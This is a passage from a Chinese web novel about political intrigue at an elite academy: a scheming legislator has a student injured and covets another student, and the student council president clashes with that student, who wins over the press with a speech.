他还需要温绒做很多事,温绒不能今天就死在王斯辰手上。 …… 十分钟后,一行人浩浩荡荡走去校方准备的单人休息室。 王斯辰要东西不成,心情不爽。 王家不算联邦成立时传承下来的大家族,他在议院站稳脚跟后王家才算冒个头。而王斯辰能做到这个位置,拼的就是不认命,心狠。 小时候,他家附近有个一块儿长大的孩子,朋友圈里的头头,爸妈口里称赞的“好学生”。王斯辰嗤笑,什么好学生,玩女人还是他教我的嘞。 不过就算混上“第一小弟”的名头王斯辰心里也不服那小孩。 不服他女朋友比他的漂亮,不服他衣服穿得比他贵。 每次一块儿喝酒喝到醉,王斯辰就偷偷亲他女人的嘴,穿他的衣服。 不得劲,完全没劲! 王斯辰还是不爽。 后来面临弗罗里曼学院入学申请,那小孩收到录取通知书了,而他没有。 王斯辰心里那叫一个气,在一群人彻夜狂欢时把那小孩往河里一推——那小孩成为永远长不大的尸体。 爽了。 王斯辰终于明白,艹他妈的隐忍,艹他妈的小弟,老子才是老大。 现在将近四十的王斯辰,气性比年轻时只高不低。 所以趁着抽根雪茄的功夫,王斯辰勾手招来秘书。 “找人清一下现场,等会儿给我打断张……那小子的手。” 要说王斯辰不介怀自己没考上弗罗里曼学院这件事是不可能的,王艾伦是他家里唯一读上弗罗里曼学院的侄子,以后要继承他的衣钵进议会,甚至竞选总统。突然冒出来的一个张锦程算什么东西,敢跟他侄子抢东西。 “还有,找人去梁子力学的研究室,看看能不能复制到蚕丝的研究文件。” “是。” 啪嗒。 受他安排的人出去做事,王斯辰心情才稍微好些,走到窗边一口一口抽雪茄。 抽着抽着,突然看见密密麻麻的人海里出现一道光。 其他的黑色制服都淡化,只有那抹光,手里抱着笔记本电脑朝他的方向走近。 皮肤雪白,头发乌黑,浅浅一个轮廓就让人神魂颠倒。 王斯辰阅人无数,第一次为一个人感到惊叹。 仙姿玉貌,空灵清逸! 甚至分辨不清是男是女,王斯辰觉得他是仙。 他朝老子走过来了。 老子要把他抱起来,轻轻地抱,抱在膝盖上一边摸他的小脸一边亲。 雪茄从指尖掉到地上,王斯辰转身勾手,抓着秘书的后脑摁在玻璃上,强迫他看,“那个,我要那个学生。” 很微妙,明明楼下那么多学生,秘书意外地一眼猜中王斯辰想要的学生。 “现在就把他带过来。” 光这样说出来,声音都激动得飘忽,浑身血液乃至脑子都沸腾,热气上下乱窜。 王斯辰第一次产生这么大的欲望,都要把他的心脏崩碎。 一个声音尖叫: 要他! 第78章 第 78 章 救人要先杀人 秘书为自己领导的反常感到震惊。 贪婪的目光像极了情窦初开的毛头小子。 铁树开花? 老房子着火? 老妖怪想吃人了。 不过…… 他还是依照领导的要求下楼。 距离校庆表演还有些时间, 校友游完校园后全部聚集在这栋大楼内。 一楼有个观影厅,使用全球最大的银幕播放弗罗里曼学院几百年来的历史,观影厅外, 陈列着弗罗里曼学院的丰功伟绩。 大门口陆陆续续有人进出,有的穿着弗罗里曼学院的校服,有的没有,互相说着话。 某一刻,所有人的视线往同一个方向瞥——尖头皮鞋走过门框,地板倒映出修长身影。 和其他学生一模一样的打扮,丝毫没有多余装饰, 却好像舞台上唯一站在聚光灯下的人,点点光斑萦绕在他周围。 秘书见多识广,无论是全球知名的漂亮脸蛋还是名利场里气场全开大人物, 都不如这位惹眼。 那更像是一种气质,干净、圣洁、又莫名亲切,让人不自觉想要信任。 他甚至开始怀疑, 把这样一个美好的学生带去见自己领导是不是太没良心了。 想到王斯辰,秘书立即后背发凉, 还是硬着头皮走向那位学生。 说不定也是哪位学生的福气,毕竟自己领导会是下一任总统。 就在考得越来越近,仿佛要触碰到学生身上的香气时,他走向一个更加高挑的身影。 秘书一眼认出那是谁, 犹豫了脚步。 “我想去见周谢。” “干嘛见他。” 美好的少年沉默不言,那高挑背影搓了搓灰色短发,“我带你去。” “等会儿,我让你做什么你就做可以吗?” “你想干嘛?” 俊秀的眉抖了抖,“还没想好, 不过可能是很过分的事。” “……” “可不可以。” “行。” 高挑身影跟旁边运动员协会的会长说了句话,带着那个男生走上楼。 高挑身影是时家的大少爷时野。 秘书庆幸地想,回去告诉王斯辰时家的大少爷带走了那个男生,自己应该不会挨骂。 …… 四楼休息室 周文栋跟校长进最里间单独谈事,周谢站在窗户边,随时准备回复学生会群里的消息。 都是些“人祸”。 比如运动员协会的会长突发奇想要见时野,周谢还得卖面子去求时野过来。 比如刚才安排拦温绒的两个人发消息来说找不到温绒。 周谢意识到时间已经过去有一会儿了,张锦程还没到,于是问:[张锦程呢?] [打电话没接,去工作室没见到人,我现在在去100室的路上。] 王斯辰没催? 这不符合王斯辰的性格。 周谢:[王斯辰议员呢?] [在休息室没出来,他的秘书倒是全都出来了。] 周谢敏锐察觉到不对劲,单独找李奥:[给安保公司讲,现在全力找到王斯辰的三个秘书。] [还有,也要找张锦程跟王艾伦。] 消息刚发出去,有人敲门进来,“会长,时野想见你。” 周谢挑眉,看一眼旁边紧闭的房门,校长跟自己父亲应该还要聊一会儿,于是理了理袖子走出去。 四楼没允许其他人上来,走廊将近五十米,站满保镖,如果不是时野,应该很难上来。 周谢偏头看向时野旁边抱着电脑的温绒本人。 这位更是不可能上来。 周谢现在看见温绒都会出现心跳加速的本能反应,因为温绒一出现,就代表有麻烦事要发生。 “什么事。”周谢忍着难受问。 “我想跟校长单独见面提一些建议,大概需要十五分钟。” “什么?” “在那之前,我还想先麻烦你看看我的演讲稿,帮我做一些改善。” 周谢没忍住笑。 人在无语的时候,真的会想笑。 “你凭什么认为我——” 温绒看向时野,“时野,你能帮我把他摁住吗?” 周谢陡然一愣。 时野对温绒说的话显然没有预想,也是愣一下,还有些抗拒。 不过很快就放下他的那些反抗,锋利的眉尾无奈一挑,“你难得请我帮忙……想怎么摁住他,摁在地上还是摁在墙上。” 温绒诚恳回答:“我不知道。” “噗嗤。”周谢再次无语,“今天我很忙,你没事自己滚出去玩。时野,你也是——” 温绒打断他,“他比较怕什么你就怎么做吧。你摁住他,我进去见校长。” 时野跟周谢又是一愣。 电光火石间,周谢想到那天在女厕所,莱昂也这样带着时野逼迫自己。 不祥的预感从心里生出,周谢拒绝承认温绒从莱昂那里学习到了拿捏自己的办法。 “可以。”周谢决定忍一忍。 比起让温绒进去骚扰他父亲和校长,不如让他先看看温绒到底想讲什么东西。 三人从走廊转移到休息室左边的小房间。 二十平米的小地方,只有一张桌子两个沙发,温绒把电脑放在桌子上,翻开盖子。 周谢眼尖,立马看见桌面上“周谢”这两个字。 再仔细看,全称为:关于更换学生会会长周谢的申请。 巨大的刺激猛然刺痛周谢的大脑,黑框眼镜里的瞳孔猛然紧缩。 他咬紧后牙,脸颊两边骨头抖动。 正要忍不住问温绒是不是想死,鼠标落在这个文件的下面,一个窗口弹出,占据屏幕。 《现阶段制度无法满足学生的发展与创造问题》 因为看到温绒写出更换自己的文字,周谢一点都不想听温绒想讲什么发展和创造,他站起身准备拿手机喊保镖进来把这两个人丢出去,忽然一只有力的手摁在他的肩膀上。 来不及反应,膝盖一弯重新坐回沙发。 沙发柔软,周谢身体上下晃荡,脑子里也嗡嗡的。 时——野—— 黑黝黝的眼珠子上瞥,瞪上时野。 两人都是不好惹的面相,同时发怒,谁也不让谁。 但从小到大的记忆制止周谢动手。 温绒成功抓住他的软肋,时野没什么把柄落在自己手上,而且自己真的打不过他,在这种时刻,自己确实被时野压得死死的。 最终,周谢后槽牙咬出声,抖着手发消息叫李奥进来。 他不信自己跟李奥一起还制不住时野。 李奥就在旁边房间,几乎是收到消息就过来,甚至不超过十来秒钟。 咔擦—— “表哥,什么事。” 进门瞬间,温绒也轻轻嗓子开口:“那天在酒店跟你吵架后我回去好好想了想,你说的非常有道理,如果由我们来做弗罗里曼学院的科普软件确实会遇到很多问题。” “这一切的源头都是因为不公平。” “社会上的不公平我处理不了,但学校里的不公平需要消除。” “弗罗里曼学院的校训是引领时代,改变世界。学校不应该把所有资源倾斜到零星几个人身上,因为进入这里的学生都是全世界最优秀的年轻人,每个都富有潜力。就像林启正学长做的科普软件被网友称赞使用体验好,张锦程学长得到很多人的赏识……学校里的其他人同样需要一个展示自己的机会。” “简而言之,弗罗里曼学院应该是群星闪耀的地方。” “希望校长能给大家提供公平获得资源的机会。” 最后,温绒问:“我这样跟校长说可以吗?” 当然不可以。 这些话是适合演讲,愚蠢的民众最喜欢。 但校长又不是愚蠢的民众。 “你说这些没有意义,学校里的不公平都是为了迎合外面的不公平,里面的利益关系复杂到你无法想象。” “这个问题很简单的,如果你不驳回——” 周谢声音拔高,“不是我。” 有力的手又搭在周谢肩膀上,时野提醒,“不要那么大声。” “说话大声会吓死他?”周谢动肩膀推开时野,“他根本不懂。” “对不起,我刚才说错话了,我跟你道歉。”温绒神色沉静地继续说:“你的考虑跟我的说法一样,我准备这些就是想说动校长帮大家营造一个公平的环境。” 周谢:“……” 周谢站起来,手摸进裤子想要找烟,空空如也的口袋令他心情更加烦躁。 他已经很久没这样烦了。 转了个身,深吸口气,“所以你以为校长一个人就可以创造公平的环境吗?” “我特地挑今天来找校长,因为总统也在,还有恩斯特大法官,我在校庆宣传单上看见他了。” 沉默片刻,周谢说:“谁给你的勇气去找这些人说这些没营养的东西,你以为你是谁,你不会以为说这些会有人感激你吧,你是不是太幼稚了?” “我只是想让学长们不再受到不公平待遇,从蚕丝到科普软件,这些事情的根本原因就是资源分配不公平。” “这个世界本来就没有公平。” “那就创造公平。” “你……” 周谢十二岁就在镜头前饰演十全十美的总统之子,鲜少失态,但温绒真的把他所有的怒火都勾起来,特别是温绒现在还是一副冷静的样子,让人发疯。 他忍不住伸手捏住温绒的脸颊,用力扯向自己,“就你这种人,只是历史书上最先死的那一批炮灰。” 时野的手下一秒就捏在他的手腕上,巨大的力气迫使他松开温绒。 “不要动手。” “你没听见他说什么?他想找死!” 温绒一动不动,仍然沉静,“我知道你的意思,我学过历史,而且我学的历史比你学的厉害一百倍。” 周谢再次很无语地笑,说不出话。 你他妈学的什么历史能比我学的厉害一百倍,联邦历史书还有不同版本吗?! “我先走出第一步,万一失败了也可以成为下一个人的经验教训。这样一个一个的经验积累起来,最后肯定会出现一个成功的人。那就是我现在做这些的意义。” “我当个炮灰也无所谓,不就是死,我不怕死。” 休息室里霎时静默,温绒逆着光,在窗户前勾出一道灰蒙蒙的影子。 他一直很平静,或者说坚定。好像必须要去做这件事,无论什么都阻挡不了他。 周谢被震慑住。 他第一次见到温绒这种不怕失败也不怕死的蠢货。 怎么会有这种人?! 正好手机响,把周谢从震惊和无语中拉回神。 他打开手机,看见收到的图片时眉头轻蹙。 “表哥,我支持他。”李奥背手关门,在安静中发表自己的观点。 短暂的烦恼后,周谢意外一笑,左边唇角比右边高,带着恶意,同时给予温绒一个诡异的眼神。 温绒犹疑两秒,“看你这个态度,我想这个做法可能成功率不高。我再想想其他办法。” “你又要想出什么惊天动地的办法?” “现在还不知道,要回去想想才清楚。” “……” 这个人就是莱昂选中的人,一个天真愚蠢还执着的人,当个炮灰也不怕,死也不怕,适合…… 适合…… 让心怀不轨的人坐享其成。 周谢就是这样的打算的,但不知道为什么自己会心情糟糕。 很快,他敏捷地想到理由。 因为温绒这副找死的样子很难活到让自己坐享其成的时候,所以心情不爽。 于是他向手机里的聊天对象发去视频申请。 “我现在让你看看,你这样找死带来的后果。” 温绒乖乖点头,“嗯。” 对方接起,手机屏幕立马出现一片白色,周谢举着手机对准温绒。 麦克风里传来对方的声音:“会长,请问有什么吩咐。” 周谢:“我要看张锦程现在的情况。” “好的。” 镜头翻转,医务楼的消毒水味隔着屏幕冲出,镜头前三四个护士匆忙跑过,画面中央,出现病房里唯一的一抹黑。 温绒困惑半秒,仅仅半秒,随即他的眼睛蓦然睁大,浅浅的瞳孔向内紧缩。 镜头拉进,对准黑色制服的手。 袖子已经湿透了,但那不是水,袖口露出血淋淋的手,好像刚被剥了皮一样,血液染红白色床单。 消瘦的身影开始晃,时野大步上前扶住他,目光不经意往手机屏幕上一瞥,也是一愣。 手机传来对方的声音:“会长,幸好刚才安保公司的人及时赶到,医生说张锦程的手只是受了点皮外伤,以后还能用。” 咔—— 周谢把视频挂掉,黑黝黝的眼底闪烁光芒,“看到了吗?不公平就是这样制造出来的。你以为那些人个个都跟新闻里写的一样善良优雅美好吗?你对他们到底有什么奇怪的滤镜?我告诉你,手里越是有权力,做的事就越野蛮,个个议员三天两头遭到暗杀,选举现场的枪击事件比你每天吃的饭还多,校长为什么要为了你去惹这些人。” 温绒蓦然一抖,唇角出现诡异的惨白。 好像完全失去机能,他努力咬唇,喉结滚动,也要过好几秒才能艰难吐出“谁——”这个字音。 “是谁重要吗?你一个无权无势的特招生能做什么。” 温绒两只手忽然用力抓住时野的手臂,因为他几乎要倒下去,只有这样做才能稳住身形。 再次用力吞咽,才勉强出声:“我什么都可以做。” 一直沉静的脸蓦然变色,只是眼皮一眨,眼白就变成骇人的红。 周谢一哂,“你可以杀人吗。” “周谢。”时野出声提醒。 “你现在不是在玩什么扮演英雄的游戏,想保护人就要先杀死敌人,你敢杀人吗?” 温绒张了张嘴,发不出声音。 “反正时野是不敢的,他不敢,所以他妈死了。你敢吗?” 空气陷入沉默,李奥悄悄叹气的声音尤其明显。 一连挑两个雷区,气氛进入可怕的战前状态。暗潮汹涌,杀气腾腾,每个人都在等第一声枪响。 应该是时野。 又提到时野他妈妈了,这是忌讳。 因为他妈的死,时野进弗罗里曼学院那天把所有东西和佣人带来学校,彻底跟时常远切割。 他简直就是用行动在说:老子不要这个继承人的身份了! “杀谁。” 出乎意料的是,温绒先开口。 第79章 第 79 章 周谢心动 “王艾伦。” 周谢说完, 又换了个说辞,“或许是王斯辰,联邦的下任总统, 也是王艾伦背后的大山。你敢吗?” 温绒目光坚定:“我敢。” “记住你说的话。” 周谢没有给温绒提任何意见,他只是把温绒送去见校长跟自己父亲,随即退出休息室,让李奥帮自己拿了只烟。 其实今天不该抽烟,那味道很难散,不适合这样重要的日子。 但周谢很需要一支烟来平复心绪。 “你就让他一个人进去?” 可能是为了温绒,时野才勉强愿意主动跟他说句话。 “不然呢。”周谢弹了弹烟灰。 “校长那种和稀泥的老东西怎么会听他的。” 周谢莫名一笑, 带着嘲意,“你其实并不相信他,但他冲你勾勾手指, 你就晕头转向分不清东南西北了,对吧。” 时野别开脸否认,“我没有。” “他只需要动摇校长跟我父亲就好, 很多决策的起点都是被动摇的人心。至于事情如何继续,是我跟莱昂这种人该考虑的问题。” 说罢, 偏头抬起眼眸看向时野的侧脸,“我会让莱昂去找他父亲,我也会找我父亲,在他们两个的帮助下, 校长肯定会推动这件事。” 周谢故意讲出“父亲”这两个字刺痛时野,看他眉尾扬起,就知道自己计划得逞。 随即又说:“那你呢,你能做什么。我让你弄死张婉菲母子你不做,我让你留下跟时竞争继承人你也不干。现在——” “闭嘴。” “……” 两人沉默。 楼下出现许多带着摄像机的人, 是之前特邀过来的媒体。 一只烟很快烧到烟蒂,周谢眯起眼睛望向天边隐隐散出的日光,还是说出让时野不开心的话: “温绒现在用不上你。” 咚咚咚 敲门声结束两人自时野母亲去世以来唯一的一次谈心。 周谢还没来得及把烟摁灭,门就被外面的人直接打开。 他一时着急,抬手挥掉盘旋在眼前的烟味。 优雅的中年男人并不礼貌地进来,一如他今天不请自来。狩猎一般的视线在休息室内逡巡一圈,明显出现失落,而后又疑惑,“就你们俩?” 周谢向他礼貌问好。 王斯辰吸了吸鼻子,“抽烟了?” 周谢道歉。 王斯辰装大度,“别紧张,我允许小孩抽点烟排解情绪,再刺激点的也没事。” 周谢知道他说的再刺激点也没事是什么意思,避开不答,反问:“请问有什么事可以帮您吗?” “我找校长,校长在哪?” 周谢刚想说校长在见客,小休息室的门从里面打开。 王斯辰的视线瞬间粘到温绒身上,堆出和煦优雅的笑容,“哦,这位小同学没见过。” 校长从温绒身后走出,主动介绍道,“这是弗罗里曼学院今年的特招生。” 王斯辰对弗罗里曼学院唯一一点了解只来自于几天前侄子打给自己的电话,在此之前,甚至不知道弗罗里曼学院有一位特招生。 不过他看这漂亮少年往自己身上瞧了两眼,心中感到快乐,顺嘴撒个小谎,“老早前就想认识他了,一直没机会。” 随即抬手伸向温绒,“小朋友,你好,你叫什么名字。” 温绒没伸手回握,而是礼貌鞠躬,“您好。” “名字真好听,跟人一样好看。来找校长是受了什么委屈吗?谁敢欺负你。” 被拒绝握手王斯辰也开心,毫不吝啬夸奖,也毫不伪装地展示出“关爱”。 周谢何其熟悉自己父亲的政敌,脑子一转就反应过来王斯辰的反常。随即上前拉温绒站到自己身侧,“刚才温绒的学长遇到了件大事,来找校长帮忙。” 温绒难得机灵,立马给校长鞠躬道,“校长,其实我还有件事没敢跟您汇报。” 校长看一眼周谢,又看温绒,“可以稍后再说,我现在要去跟媒体见面,万一迟到,媒体还不知道会怎么编排学校。上次因为那篇文章,学校的口碑已经受了严重的影响。” 温绒道个歉,“不好意思,刚才耽误您时间了。” 又说:“那我校庆后再来找您。” 时野蓦然出声,“急什么,他要说的事比文章的事更重要,要是被媒体发现,你这学校也不用办了。” 校长一愣,被下了面子,而对方是时野,只能尴尬笑笑,“既然是这么严重的事,就直接说吧。” “谢谢校长。”温绒斟酌了两秒,一脸认真道,“我的学长在学校里被不明人士剥皮了,目前正在医务楼抢救。” 校长大惊:“剥皮……” “嗯,血淋淋的,甚至能看见肉。” “这……这……” 年过半百的校长也承受不住这样爆炸的信息,眼睛慌张地往周文栋脸上飘,又往周谢脸上飘。 李奥眉尾一挑,斜向温绒的方向。 作为每天都在网络里监控林启正的人,他比任何人都了解林启正的作风。 温绒这段话,深得林启正胡编乱造的真传。 王斯辰眼睛一转,“校长,我就说学校校风有大问题。校庆这天有学生被剥了皮,不就意味着弗罗里曼学院出现了恐怖分子,全校人都不安全,一定要马上让警察进来彻查。” 温绒一双漂亮眼睛感激地望向王斯辰,王斯辰肩膀都在抖着兴奋。 一个年级四十的老男人,有了喜欢的小孩,还被小孩崇拜着,简直叫他乐开了花。 “查过监控了吗?现在情况怎么样,人死了吗?”校长颤着声问周谢。 周谢:“正在查,还没结果。人也在抢救,我还没收到最新的消息。” 校长:“把安保公司人叫来,今天竟然发生这种事,他们要负责任。” 周谢颔首,“我现在就打电话叫安保公司的人过来,媒体那边我让人再带他们去逛一逛。” “嗯。”校长转身做个请的动作,“还麻烦您两位再进去坐会儿。” 周文栋沉默,重新回休息室。校长要请王斯辰的,转头瞧到王斯辰的注意力一直在温绒身上,想到刚才温绒提到那些“公平的理想主义”,猜测这些话或许跟王斯辰有关。 下一秒,王斯辰印证校长的想法。 “小同学一起进去吧,跟我们一起处理你学长遇到的困难。” “谢谢议员。” 时野要跟着进,校长出声,“这里头有你什么事,忙去。” 时野:“我……” 休息室大门再次关闭,时野站在门外,锋利的眉第一次出现错愕。 随即他看向李奥,在短暂的沉默中,李奥会错意,说了句,“王斯辰好像很喜欢温绒。” 时野甩手走出休息室。 快捷的步伐与晃荡的脊柱摇出落败者的窝囊模样。 …… 休息室内,周谢挡着三位大人物的面打电话,通知安保公司的人正带着监控资料立马过来。 校长看一眼表,“大概需要多久。” 周谢:“今天校内开不了车,我让他们跑过来,最多需要5分钟。” “嗯。” 四分钟后,一个满脸通红的男人敲开休息室的门。 看得出确实是跑着来的,发根都是汗,为了不在这三位大人物面前露出狼狈样儿,用纸巾擦过,只留下点湿润的痕迹。 校长首先出声:“说一下,今早上学校里发生了什么事。” 安保公司的人员连上休息室的投影屏,“统共两件大事。” 校长眉毛抽搐,“两件?” 鼠标点上桌面视频,打开,“第一,有不明人士在校园内殴打学生,经人脸识别,受伤学生名叫张锦程,殴打他的两人早上跟随王斯辰议员进入学校。” 众人一齐看向王斯辰。 王斯辰讶然片刻,大概没想到温绒的学长竟然就是张锦程。 不过也是看惯大场面的人,优雅翘着二郎腿笑道,“没想到我的保镖竟然利用我,我现在就找秘书把他们处理掉,还有那个张锦程……毕竟是因为我才受的伤,医药费我来全部支付。” 他给自己找了理由,校长不好发难,而且也不至于为了个学生跟议员翻脸。 校长转开话题,“第二件呢。” 安保人员点开新的视频,“不明人士乘车前往梁子力学研究所。” 校长神态慌张,“抓到人了吗?” “已经被研究所的安保人员抓住了,等您安排。” “查!” 梁子力学研究所是弗罗里曼学院里最特殊的存在,光梁子力学都被困在学院里,更不要说他的研究资料。那些涉及基因的东西一旦泄露,影响比研究基地的核能泄露还要严重,校长不得不紧张。 周谢看向王斯辰的方向,老狐狸还岿然不动。 而校长说完查,大概愣神了两秒也不再说话,显然是猜出来背后搞鬼的是谁了。 按照常理,这会儿该给个台阶,把这件事结束掉。可是转念一想,做这么多都是为了帮温绒,要继续做下去才行。 周谢正准备开口推一推校长,一直没说话的周文栋抢在他之前开口,“如果就这两件事,等校庆结束再解决,还要跟媒体见面。” 校长得到台阶,“嗯,我先去跟媒体见面。” “校长,让我去吧。” 温绒突然出声。 校长站在台阶上愣然,“你?” “我的演讲风格适合面对群众,而且我是特招生,这个身份最适合当学校与群众之间沟通的桥梁。” “你不行,你——”校长欲言又止。 周谢知道的事情首要要向他汇报,所以温绒发文章导致学校口碑受损这件事校长是第一批知道的人。 说实话,他对温绒印象非常差。 惹事的学生都不招人喜欢。 “这次口碑受损严重是因为群众早就厌倦了新闻里的官话,如果这次依然用这样的话打发他们,他们不会满意。” “而且,您不正是为了获得平民的支持才把我招入学校吗?目前整个学校再也找不出比我口碑更好的学生。” 校长犹豫,温绒继续说:“如果今天我不能挽回学校的口碑,我会赔偿学校十亿元,自动申请退学。” 校长眼睛骤然明亮。 周谢知道,校长中温绒“以退为进”的陷阱了。 温绒惯爱这样的招数,装得委屈柔弱,其实心里已经计划好反口咬人。 不过周谢也好奇温绒会怎么做。 所以他一是为了给校长台阶,二是满足自己的好奇心,主动发言:“校长,我觉得可以。” 校长仍然假装担忧,“你知道十亿元意味着什么吗?” “我知道。” “你一辈子都赚不到这么多钱。” “我知道。” 校长还是犹疑,权衡后做最后一道保险,“周谢,只让他澄清文章的事,媒体的其他问题你来回答。” 周谢点头:“收到。” 从四楼走到一楼,路上谁都没有开口说话。 甚至进入放映厅,温绒也只把电脑交给周谢,麻烦他放出“关于更换学生会会长周谢的申请”这个文件里的一张照片。 周谢忍不住问:“你就这么明目张胆地告诉我你原计划是想让我撤职?” 温绒点头,“我现在不这么计划了,所以我不瞒你。” 周谢:“……” 我更希望你瞒着我! 转念一想,还是算了,瞒着他就等于背后一刀,又是麻烦事。 “你上台去,不要紧张,要是缩到地上爬成一团,你这辈子到哪都别混了。” “我知道的,谢谢你。” 温绒两只手轻轻擦过裤子中间的线,笔直板正地走上讲台。 在他上去的瞬间,整个放映厅也都安静下来,甚至没有人告诉过媒体上去的这个人是工作人员还是谁。 或许,这就是他外型带来的优势,无论出现在哪里都能像自带聚光灯的人,吸引眼球。 温绒抬手勾了下话筒,微微埋头。 周谢犹豫两秒,最终操控摄像头对准那张清俊白净的脸,把画面投放在身后全球最大的银幕上。 细挺的鼻,架着增添书香气息的无框眼镜,里面一双眸子颜色浅淡,聚不起光。 称得上圣洁的形象猛一下拽住所有人的心脏。 场内响起惊叹声。 或许连媒体人都觉得,他站在那儿,无论说什么都令人信服。 “各位媒体朋友上午好,我先自我介绍,我是一只青蛙。” 全场哗然,被幽默到。 “青蛙?” “好可爱。” “青蛙王子吗?” 温绒唇角微弯,淡淡一笑后继续说:“我住在井底,坐井观天,靠云的形状认识世界。” 安静了。 周谢甚至听到自己点击鼠标的声音。 这个形容第一次见,不过很有技巧,演讲者在开场放低姿态可以迅速跟听众建立亲切感。 周谢不知道温绒是否有系统学习过演讲,但他的表现很成熟,也很成功。 “后来我跳出来,给自己取名,温绒。又因为一些天赐良机,来到弗罗里曼学院读书。” 温绒说完,隔着万众瞩目的舞台,与台下的周谢对视。 那一瞬间,周谢愣住了。 感觉那句话是对着他说的,但他的理智告诉他,不是。 确实不是。 这是提示。 在外界看来,周谢只是卡了不到半秒钟。 他点开文件,把温绒说的照片投放到屏幕上——几个月前,他把张婉菲母子救起,市长颁发锦旗时,记者为他拍了张照片。 照片里的温绒和开学时别无二致,凌乱的长发,黑框眼镜,破t恤,旧牛仔裤,实在是个不怎么好看又透着畏缩的穷小孩。 而站在讲台前说话的温绒,一身制服,打扮得体,说话时唇角带笑,像个出生在尊贵家庭的王子。 “照片里是没有进入弗罗里曼学院的我,而现在站在大家面前的,是就读弗罗里曼学院的我。” “在这里,我交到了朋友,也认识友好的学长,还见识到目前排名世界第一的网球选手。当然,学校里还有很多优秀的年轻人,我要是一一列举出来,或许大家会听得想睡觉。” “我说这些,想表达的意思是:弗罗里曼学院是个好地方,它里面有优秀的人,而我这样不优秀的青蛙来到这里,也开始变得有点人样儿。” “所以外界传闻是偏颇的。我作为亲身体验的人,可以明确告诉大家,弗罗里曼学院非常好。明年又是新的一年,希望大家的亲戚朋友或者小孩能成为我的校友。” 说完这些,台下一位记者举起手。 温绒礼貌回应,“请问您有什么想问的吗?” 记者起身,接过工作人员递来的话筒:“请问赵泽阳被开除这件事是真的吗?既然他品行不好,学校为什么要招他这样的学生入学?这是否是因为学校本身就校风不良?” “这个结论倒置了因果。不是学校招收品行不良的学生,而是学校绝不姑息坏学生,我认为这是校风严谨的表现。” 记者又问:“那张锦程跟王艾伦的争议,学校为什么迟迟不做回应,明明是明显的盗用。” “因为严谨的调查需要时间。校风严谨,同时学校也不会错怪任何一个学生,在做决定之前慎之又慎。” 顿了下,“不过大家也不用担心,大概在近期,学校会公开对王艾伦抄袭一事的处罚,敬请期待,也请众位媒体朋友监督。” 啪啪啪啪啪 全场响起掌声,如雷贯耳。 周谢在热烈的鼓掌中苦笑。 校长不算个坏人,但也不是太好的人。他有他的难处,很多事上只能选择“和稀泥”。 比如王艾伦抄袭,不管。 比如张锦程被王斯辰弄伤手这件事,不管。 温绒大概也猜到了,不然不会主动请求来面对媒体。 所以他不纠结权威判定的公平了,王斯辰刺张锦程一刀,他刺王艾伦一刀,自己制造公平。 之所以苦笑,是因为温绒的话不像临场发挥,极有可能在制定“更换学生会会长”的计划时就准备好了。 温绒。 这个温温柔柔实在没有攻击力的名字,以及这个看起来连一只手都打不过的矮子,真是……让人心肝颤栗。 第80章 第 80 章 你们能做的我也能做(周…… “弗罗里曼学院不愧是世界顶级学府, 这简直是大变活人!” “要是我年轻十几岁,挤破脑袋也要进来。” “好想让我家儿子也进来啊,不知道有没有什么办法。” …… 掌声中混着羡慕的声音, 全场热闹。 温绒维持着笑容走下台,周谢的眼睛不受控制地黏着他,意外发现温绒的手臂绷成条木头,僵硬摆弄。 周谢压不住嘴角,突然非常想抽支烟。 而随着温绒的走动,隔着阶梯状的观众席,他看见校长铁青的脸, 嘴角瞬间落下去。 校长的身旁,站着表情阴鸷的王斯辰。 挽回口碑的目的是达到了,但温绒毫无预兆地丢出一颗雷, 校长被气疯了,王斯辰也是。 那种感觉周谢深有体会——场面失控。 接下来温绒肯定要面临校长的处罚,甚至可以说是危险。 按照王斯辰的性格, 必然不可能让温绒好过。 周谢捻了捻手指,思考接下来该怎么保护好温绒。 “我可以坐你旁边吗?” 轻轻的声音令他陡然一惊, 面上没有表现出来,只是下意识抬眼珠子向上瞥。 原来温绒绕了一圈,来到他的身边。 周谢感到意外,还以为温绒会立马跑去医务楼看张锦程, 毕竟能做的都已经做了。 “我可以坐这儿吗?” 周谢点了点下巴,示意他坐。 “你应该用不上我的电脑了,可以还我吗?” “嗯。” 温绒没有等他把电脑还回去,而是主动伸手扯开与大屏链接的线,自己抬回去。 手指修长, 被笔记本电脑衬得皮肤白皙,在缓慢的移动中发抖。 周谢想,他走上台前应该下了很大很大的决心,到现在都还没缓过来。 想到温绒绝对不能吓死在这里,周谢正准备说两句安慰下属的话,全场响起校长自我介绍的声音。 周谢看过去,跟校长对上视线,那眼神示意他现在上台。 周谢迫不得己起身,同时低声提醒温绒,“不要乱跑,你现在很危险。” 温绒两只手指一点一点敲着键盘,头都没抬,“不用担心我。” “……” 周谢来不及多说了,匆匆上台。 啪啪啪啪 短促的掌声仅仅充作氛围,不及温绒获得的掌声。 周谢走到校长身边,等着校长抬手介绍,“这位是弗罗里曼学院的学生会会长,也是周总统家的公子,周谢。王艾伦跟张锦程的事件由他全权负责,他可以向众位讲一讲目前的调查情况。” 这样被临时拉上台的状况很常见,周谢脑子一转就编好糊弄媒体的话。 台下数百家媒体举起摄像头,好像黑暗中一双双会发光的镭射眼睛。 周谢十二岁时就习惯在这样闪烁的灯光下保持镇定,却莫名紧张。 替几分钟前的温绒紧张。 当时温绒勾着话筒,强壮镇定地开玩笑。 俊秀的脸没有任何攻击性,肌肉走向流畅,像是一笔画出来的。 侧面看,眉,鼻,唇,下巴,会连成一条起伏分明的线。 周谢一边模糊地将“调查结果”告诉众人,一边想,温绒这张脸真是精妙绝伦,神仙的皮盖在硬邦邦的兽骨上,杂糅出一种干净又遥远的气质。如果有人梦见一团雾,雾里有个人,大概率会长成温绒这样。 怪不得莱昂跟时野会—— 周谢视线自然而然往温绒的方向扫过去,意外扑了个空。 刚才还在那里敲字。 放映厅霎时间陷入沉默,因为周谢失了声。 众目睽睽之下,周谢环视大厅,严肃的脸上出现片刻慌张。 “周谢?” 校长疑惑的声音令周谢回神,他迅速结束话题把位置让给校长。 等站在台下被李奥截住,才反应过来自己失态。 周谢压低声音,“温绒呢?” 李奥:“表哥,你怎么突然下来了。” 周谢朝安保勾了勾手,那边人走过来,他也绕过李奥朝安保走过去。 一靠近便问:“看见温绒了吗?” 安保往门外看一眼,“刚才抱着电脑出去了。” “没派人跟着他吗?” 安保一愣,“需要、要吗?” 周谢转身就往厅外走,李奥在后头追,“表哥你去哪?” “我要去找温绒,他现在很危险,王斯辰不会放过他。” “王斯辰人在台上,我刚看他的秘书跟保镖也都在台下没动,温绒应该不会有事。” 周谢垂眸想了想,还是说 